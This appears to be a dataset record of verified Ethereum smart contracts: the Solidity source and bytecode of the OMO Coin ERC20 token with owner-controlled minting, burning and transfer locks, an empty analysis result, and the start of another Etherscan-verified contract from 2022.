indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_value <= balances[msg.sender]); require(_to != address(0)); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(_to != address(0)); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue >= oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is StandardToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } modifier hasMintPermission() { require(msg.sender == owner); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint( address _to, uint256 _amount ) hasMintPermission canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } contract Controlled is Ownable{ constructor() public { setExclude(msg.sender); } // Flag that determines if the token is transferable or not. bool public transferEnabled = false; // flag that makes locked address effect bool public plockFlag=true; mapping(address => bool) locked; mapping(address => bool) exclude; // 控制全局全局锁 function enableTransfer(bool _enable) public onlyOwner{ transferEnabled = _enable; } // 控制个人锁功能 function enableLockFlag(bool _enable) public onlyOwner returns (bool success){ plockFlag = _enable; return true; } function addLock(address _addr) public onlyOwner returns (bool success){ require(_addr!=msg.sender); locked[_addr] = true; return true; } function setExclude(address _addr) public onlyOwner returns (bool success){ exclude[_addr] = true; return true; } function removeLock(address _addr) public onlyOwner returns (bool success){ locked[_addr] = false; return true; } modifier transferAllowed(address _addr) { if (!exclude[_addr]) { // flase抛异常,并扣除gas消耗 assert(transferEnabled); if(plockFlag){ assert(!locked[_addr]); } } _; } } /** * @title Pausable token * * @dev StandardToken modified with pausable transfers. **/ contract PausableToken is StandardToken, Controlled { function transfer(address _to, uint256 _value) public transferAllowed(msg.sender) returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public transferAllowed(msg.sender) returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public transferAllowed(msg.sender) returns (bool) { return super.approve(_spender, _value); } } /* * @title OMOToken */ contract OMOToken is BurnableToken, MintableToken, PausableToken { // Public variables of the token string public name; string public symbol; // decimals is the strongly suggested default, avoid changing it uint8 public decimals; constructor() public { name = "OMO Coin"; symbol = "OMO"; decimals = 18; totalSupply_ = 100000000 * 10 ** uint256(decimals); // Allocate initial balance to the owner balances[msg.sender] = totalSupply_; } // transfer balance to owner function withdrawEther() onlyOwner public { address addr = this; owner.transfer(addr.balance); } // can accept ether function() payable public { } // Allocate tokens to the users // @param _owners The owners list of the token // @param _values The value list of the token function allocateTokens(address[] _owners, uint256[] _values) public onlyOwner { require(_owners.length == _values.length, "data length mismatch"); address from = msg.sender; for(uint256 i = 0; i < _owners.length ; i++){ address to = _owners[i]; uint256 value = _values[i]; require(value <= balances[from]); balances[to] = balances[to].add(value); balances[from] = balances[from].sub(value); emit Transfer(from, to, value); } } }
0x60806040526004361061015f576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b1461016157806306fdde0314610190578063095ea7b31461022057806318160ddd1461028557806323b872dd146102b057806330c9706814610335578063313ce5671461036457806340c10f191461039557806342966c68146103fa5780634a387bef146104275780634cd412d5146104825780635f6f8b5f146104b1578063661884631461050c57806370a0823114610571578063715018a6146105c85780637362377b146105df5780637d64bcb4146105f6578063882f327b146106255780638da5cb5b1461068057806395d89b41146106d7578063a7368afb14610767578063a9059cbb14610810578063ac4fb21914610875578063d73dd623146108bc578063dd62ed3e14610921578063ef7ac0e514610998578063f2fde38b146109c7575b005b34801561016d57600080fd5b50610176610a0a565b604051808215151515815260200191505060405180910390f35b34801561019c57600080fd5b506101a5610a1d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101e55780820151818401526020810190506101ca565b50505050905090810190601f1680156102125780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561022c57600080fd5b5061026b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610abb565b604051808215151515815260200191505060405180910390f35b34801561029157600080fd5b5061029a610ba9565b6040518082815260200191505060405180910390f35b3480156102bc57600080fd5b5061031b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bb3565b604051808215151515815260200191505060405180910390f35b34801561034157600080fd5b5061034a610ca3565b604051808215151515815260200191505060405180910390f35b34801561037057600080fd5b50610379610cb6565b604051808260ff1660ff16815260200191505060405180910390f35b3480156103a157600080fd5b506103e0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610cc9565b604051808215151515815260200191505060405180910390f35b34801561040657600080fd5b5061042560048036038101908080359060200190929190505050610eaf565b005b34801561043357600080fd5b50610468600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ebc565b604051808215151515815260200191505060405180910390f35b34801561048e57600080fd5b50610497610f7b565b604051808215151515815260200191505060405180910390f35b3480156104bd57600080fd5b506104f2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f8e565b604051808215151515815260200191505060405180910390f35b34801561051857600080fd5b50610557600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061104d565b604051808215151515815260200191505060405180910390f35b34801561057d57600080fd5b506105b2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112df565b6040518082815260200191505060405180910390f35b3480156105d457600080fd5b506105dd611327565b005b3480156105eb57600080fd5b506105f461142c565b005b34801561060257600080fd5b5061060b611510565b604051808215151515815260200191505060405180910390f35b34801561063157600080fd5b50610666600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115d8565b604051808215151515815260200191505060405180910390f35b34801561068c57600080fd5b506106956116d2565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106e357600080fd5b506106ec6116f8565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561072c578082015181840152602081019050610711565b50505050905090810190601f1680156107595780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561077357600080fd5b5061080e6004803603810190808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919291929080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290505050611796565b005b34801561081c57600080fd5b5061085b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611aa3565b604051808215151515815260200191505060405180910390f35b34801561088157600080fd5b506108a2600480360381019080803515159060200190929190505050611b91565b604051808215151515815260200191505060405180910390f35b3480156108c857600080fd5b50610907600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611c12565b604051808215151515815260200191505060405180910390f35b34801561092d57600080fd5b50610982600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611e0e565b6040518082815260200191505060405180910390f35b3480156109a457600080fd5b506109c5600480360381019080803515159060200190929190505050611e95565b005b3480156109d357600080fd5b50610a08600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611f0e565b005b600360149054906101000a900460ff1681565b60068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ab35780601f10610a8857610100808354040283529160200191610ab3565b820191906000526020600020905b815481529060010190602001808311610a9657829003601f168201915b505050505081565b600033600560008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610b9657600360159054906101000a900460ff161515610b2957fe5b600360169054906101000a900460ff1615610b9557600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610b9457fe5b5b5b610ba08484611f76565b91505092915050565b6000600154905090565b600033600560008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610c8e57600360159054906101000a900460ff161515610c2157fe5b600360169054906101000a900460ff1615610c8d57600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610c8c57fe5b5b5b610c99858585612068565b9150509392505050565b600360169054906101000a900460ff1681565b600860009054906101000a900460ff1681565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d2757600080fd5b600360149054906101000a900460ff16151515610d4357600080fd5b610d588260015461242390919063ffffffff16565b600181905550610daf826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461242390919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b610eb9338261243f565b50565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f1a57600080fd5b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060019050919050565b600360159054906101000a900460ff1681565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610fec57600080fd5b6001600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060019050919050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050808310151561115f576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111f3565b61117283826125f290919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561138357600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561148a57600080fd5b309050600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8273ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f1935050505015801561150c573d6000803e3d6000fd5b5050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561156e57600080fd5b600360149054906101000a900460ff1615151561158a57600080fd5b6001600360146101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561163657600080fd5b3373ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415151561167157600080fd5b6001600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060019050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60078054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561178e5780601f106117635761010080835404028352916020019161178e565b820191906000526020600020905b81548152906001019060200180831161177157829003601f168201915b505050505081565b600080600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156117f857600080fd5b84518651141515611871576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f64617461206c656e677468206d69736d6174636800000000000000000000000081525060200191505060405180910390fd5b339350600092505b8551831015611a9b57858381518110151561189057fe5b90602001906020020151915084838151811015156118aa57fe5b9060200190602002015190506000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115151561190357600080fd5b611954816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461242390919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119e7816000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125f290919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a38280600101935050611879565b505050505050565b600033600560008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611b7e57600360159054906101000a900460ff161515611b1157fe5b600360169054906101000a900460ff1615611b7d57600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515611b7c57fe5b5b5b611b88848461260b565b91505092915050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611bef57600080fd5b81600360166101000a81548160ff02191690831515021790555060019050919050565b6000611ca382600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461242390919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611ef157600080fd5b80600360156101000a81548160ff02191690831515021790555050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611f6a57600080fd5b611f738161282b565b50565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156120b757600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561214257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561217e57600080fd5b6121cf826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125f290919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612262826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461242390919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061233382600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125f290919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6000818301905082811015151561243657fe5b80905092915050565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115151561248c57600080fd5b6124dd816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125f290919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612534816001546125f290919063ffffffff16565b6001819055508173ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600082821115151561260057fe5b818303905092915050565b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561265a57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561269657600080fd5b6126e7826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125f290919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061277a826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461242390919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561286757600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505600a165627a7a72305820751e522b360572f6493ba4d2cd292d989df222486bd51d87947452d50605615c0029
{"success": true, "error": null, "results": {}}
10,002
0x469084939d1c20Fae3C73704FE963941C51bE863
/** *Submitted for verification at Etherscan.io on 2022-03-04 */ // SPDX-License-Identifier: MIT pragma solidity 0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * 